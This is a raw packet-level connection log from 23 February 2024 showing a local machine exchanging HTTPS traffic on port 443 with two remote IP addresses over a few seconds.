Feb 23, 2024 11:49:49.020050049 CET	443	49799	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.024923086 CET	443	49798	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.025332928 CET	49798	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.025355101 CET	443	49798	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.028601885 CET	443	49798	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.028655052 CET	49798	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.030503035 CET	443	49797	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.031140089 CET	49798	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.031236887 CET	443	49798	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.031276941 CET	49798	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.031835079 CET	49797	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.031850100 CET	443	49797	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.032874107 CET	443	49797	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.032931089 CET	49797	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.033622980 CET	49797	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.033682108 CET	443	49797	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.033920050 CET	49797	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.033927917 CET	443	49797	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.044517040 CET	443	49801	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.044672012 CET	49801	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.044683933 CET	443	49801	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.045643091 CET	443	49801	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.045692921 CET	49801	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.047393084 CET	49801	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.047470093 CET	443	49801	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.047540903 CET	49801	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.047545910 CET	443	49801	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.054317951 CET	443	49800	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.054589033 CET	49800	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.054619074 CET	443	49800	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.055774927 CET	443	49796	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.056112051 CET	49796	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.056128979 CET	443	49796	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.056361914 CET	443	49800	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.056416035 CET	49800	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.057147980 CET	49800	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.057225943 CET	443	49800	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.057261944 CET	49800	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.057549953 CET	443	49796	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.057606936 CET	49796	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.058109999 CET	49796	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.058187962 CET	443	49796	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.058242083 CET	49796	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.058249950 CET	443	49796	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.060125113 CET	49799	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.074718952 CET	49798	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.074727058 CET	443	49798	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.074743986 CET	49797	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.090270042 CET	49801	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.097903967 CET	443	49800	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.104497910 CET	49796	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.106834888 CET	49800	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.106848955 CET	443	49800	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.122037888 CET	49798	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.154922962 CET	49800	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.200642109 CET	443	49798	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.200702906 CET	443	49798	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.200761080 CET	49798	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.200787067 CET	443	49798	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.200836897 CET	49798	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.200870991 CET	443	49798	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.200933933 CET	443	49798	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.200993061 CET	49798	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.207088947 CET	49798	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.207119942 CET	443	49798	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.220140934 CET	443	49801	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.220822096 CET	443	49801	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.220868111 CET	443	49801	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.220870972 CET	49801	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.220911026 CET	49801	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.224780083 CET	49801	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.224792957 CET	443	49801	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.227634907 CET	443	49800	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.227689028 CET	443	49800	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.227708101 CET	443	49800	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.227747917 CET	49800	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.227777004 CET	443	49800	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.227807045 CET	49800	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.227822065 CET	49800	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.228274107 CET	443	49800	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.228322029 CET	49800	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.237884045 CET	49800	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.237910032 CET	443	49800	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.280548096 CET	443	49799	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.280570984 CET	443	49799	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.280576944 CET	443	49799	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.280596018 CET	443	49799	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.280618906 CET	443	49799	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.280741930 CET	49799	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.280741930 CET	49799	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.280781031 CET	443	49799	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.280852079 CET	49799	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.298836946 CET	443	49797	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.298866034 CET	443	49797	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.298876047 CET	443	49797	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.298933029 CET	49797	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.298937082 CET	443	49797	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.298950911 CET	443	49797	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.298957109 CET	443	49797	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.298989058 CET	49797	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.299000025 CET	443	49797	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.299022913 CET	49797	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.299038887 CET	443	49797	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.299056053 CET	49797	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.299086094 CET	49797	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.299546003 CET	49799	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.299578905 CET	443	49799	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.321628094 CET	443	49796	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.321685076 CET	49797	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.321688890 CET	443	49796	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.321708918 CET	443	49796	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.321715117 CET	443	49797	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.321748018 CET	443	49796	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.321783066 CET	443	49796	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.321793079 CET	49796	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.321814060 CET	443	49796	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.321830988 CET	49796	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.321830988 CET	49796	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.321846962 CET	49796	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.321964979 CET	443	49796	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.322010994 CET	49796	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.322021961 CET	443	49796	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.322062016 CET	443	49796	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.322087049 CET	49796	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.322320938 CET	49796	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.342248917 CET	49802	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:49.342336893 CET	443	49802	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:49.342652082 CET	49802	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:49.343261957 CET	49802	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:49.343301058 CET	443	49802	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:49.410577059 CET	443	49796	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.410649061 CET	443	49796	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.410696983 CET	49796	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.410732031 CET	443	49796	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.410751104 CET	49796	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.410815954 CET	443	49796	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.410856009 CET	49796	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.410875082 CET	443	49796	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.410923958 CET	443	49796	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.410972118 CET	49796	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.411537886 CET	49796	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.416318893 CET	49796	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.416369915 CET	443	49796	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.627768993 CET	443	49802	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:49.636665106 CET	49802	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:49.636746883 CET	443	49802	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:49.638360977 CET	443	49802	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:49.638489008 CET	49802	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:49.638873100 CET	49802	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:49.639069080 CET	443	49802	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:49.639127970 CET	49802	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:49.680983067 CET	49802	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:49.681004047 CET	443	49802	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:49.727751970 CET	49802	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:49.803663015 CET	443	49802	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:49.803885937 CET	443	49802	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:49.804022074 CET	49802	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:49.804029942 CET	443	49802	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:49.804135084 CET	49802	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:49.804934025 CET	49802	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:49.804966927 CET	443	49802	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:49.805011034 CET	49802	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:49.805396080 CET	49802	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:49.895359993 CET	49803	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.895450115 CET	443	49803	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.895878077 CET	49803	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.895878077 CET	49803	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.895968914 CET	443	49803	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.906393051 CET	49804	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.906474113 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.906562090 CET	49804	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.906831980 CET	49805	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.906857967 CET	443	49805	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.906891108 CET	49804	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.906924963 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.906980038 CET	49805	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.907144070 CET	49805	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.907152891 CET	443	49805	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.980309010 CET	49809	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.980345011 CET	443	49809	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:49.980448008 CET	49809	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.981070042 CET	49809	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:49.981089115 CET	443	49809	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.173621893 CET	443	49803	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.187091112 CET	49803	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.187155962 CET	443	49803	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.187696934 CET	443	49803	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.189820051 CET	49803	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.189943075 CET	443	49803	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.189975977 CET	49803	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.205260038 CET	443	49805	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.205739021 CET	49805	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.205755949 CET	443	49805	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.206455946 CET	443	49805	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.206861973 CET	49805	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.206927061 CET	443	49805	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.209398031 CET	49805	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.211466074 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.226742983 CET	49804	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.226780891 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.227332115 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.228674889 CET	49804	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.228763103 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.229108095 CET	49804	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.233937979 CET	443	49803	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.242551088 CET	49803	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.253896952 CET	443	49805	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.269906998 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.271152020 CET	443	49809	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.284535885 CET	49809	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.284562111 CET	443	49809	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.285938025 CET	443	49809	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.286051989 CET	49809	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.286725044 CET	49809	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.286791086 CET	443	49809	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.287373066 CET	49809	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.287384987 CET	443	49809	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.329932928 CET	49809	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.378703117 CET	443	49805	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.378730059 CET	443	49805	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.378787041 CET	443	49805	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.378789902 CET	49805	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.378824949 CET	49805	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.445565939 CET	443	49803	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.445597887 CET	443	49803	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.445605993 CET	443	49803	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.445621967 CET	443	49803	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.445631981 CET	443	49803	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.445640087 CET	443	49803	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.445657015 CET	49803	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.445709944 CET	443	49803	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.445743084 CET	49803	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.445766926 CET	49803	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.445779085 CET	443	49803	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.445799112 CET	443	49803	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.445827961 CET	49803	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.445849895 CET	49803	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.446650982 CET	49805	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.446657896 CET	443	49805	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.457211971 CET	49803	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.457241058 CET	443	49803	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.460020065 CET	443	49809	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.460227966 CET	443	49809	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.460263014 CET	49809	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.465131998 CET	49809	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.465151072 CET	443	49809	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.477643013 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.477672100 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.477689981 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.477725029 CET	49804	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.477751017 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.477771044 CET	49804	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.477771044 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.477797985 CET	49804	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.477802038 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.477813959 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.477819920 CET	49804	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.477850914 CET	49804	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.477865934 CET	49804	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.565205097 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.565268040 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.565290928 CET	49804	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.565301895 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.565352917 CET	49804	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.565502882 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.565547943 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.565572023 CET	49804	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.565577984 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.565608978 CET	49804	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.565629005 CET	49804	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.566601992 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.566652060 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.566669941 CET	49804	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.566675901 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.566714048 CET	49804	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.566731930 CET	49804	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.653214931 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.653247118 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.653352022 CET	49804	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.653364897 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.653414965 CET	49804	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.653592110 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.653660059 CET	49804	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.653664112 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.653702021 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.653749943 CET	49804	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.839346886 CET	49804	443	192.168.2.4	13.107.246.40
Feb 23, 2024 11:49:50.839411020 CET	443	49804	13.107.246.40	192.168.2.4
Feb 23, 2024 11:49:50.903398991 CET	49814	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:50.903443098 CET	443	49814	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:50.903506041 CET	49814	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:50.904841900 CET	49814	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:50.904863119 CET	443	49814	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:50.905734062 CET	49815	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:50.905775070 CET	443	49815	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:50.905826092 CET	49815	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:50.906076908 CET	49815	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:50.906095982 CET	443	49815	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:51.200375080 CET	443	49815	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:51.209403992 CET	443	49814	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:51.247124910 CET	49815	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:51.262779951 CET	49814	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:51.302519083 CET	49814	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:51.302541018 CET	443	49814	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:51.303016901 CET	49815	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:51.303041935 CET	443	49815	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:51.304871082 CET	443	49814	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:51.305658102 CET	49814	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:51.306351900 CET	49814	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:51.306471109 CET	443	49815	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:51.306745052 CET	443	49814	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:51.306782007 CET	49815	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:51.306921959 CET	49815	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:51.307116032 CET	443	49815	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:51.349121094 CET	49815	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:51.349332094 CET	49814	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:51.398144007 CET	443	49815	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:51.399385929 CET	443	49815	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:51.399476051 CET	49815	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:51.399826050 CET	49815	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:51.399844885 CET	443	49815	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:51.486319065 CET	443	49814	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:51.486390114 CET	443	49814	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:51.486416101 CET	443	49814	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:51.486434937 CET	443	49814	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:51.486473083 CET	49814	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:51.486478090 CET	443	49814	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:51.486501932 CET	443	49814	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:51.486522913 CET	49814	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:51.486538887 CET	443	49814	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:51.486541986 CET	49814	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:51.486562967 CET	49814	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:51.486588955 CET	49814	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:51.486654043 CET	443	49814	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:51.486712933 CET	49814	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:51.486728907 CET	443	49814	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:51.486845016 CET	443	49814	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:51.486911058 CET	49814	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:51.487900972 CET	49814	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:51.487935066 CET	443	49814	13.107.213.40	192.168.2.4
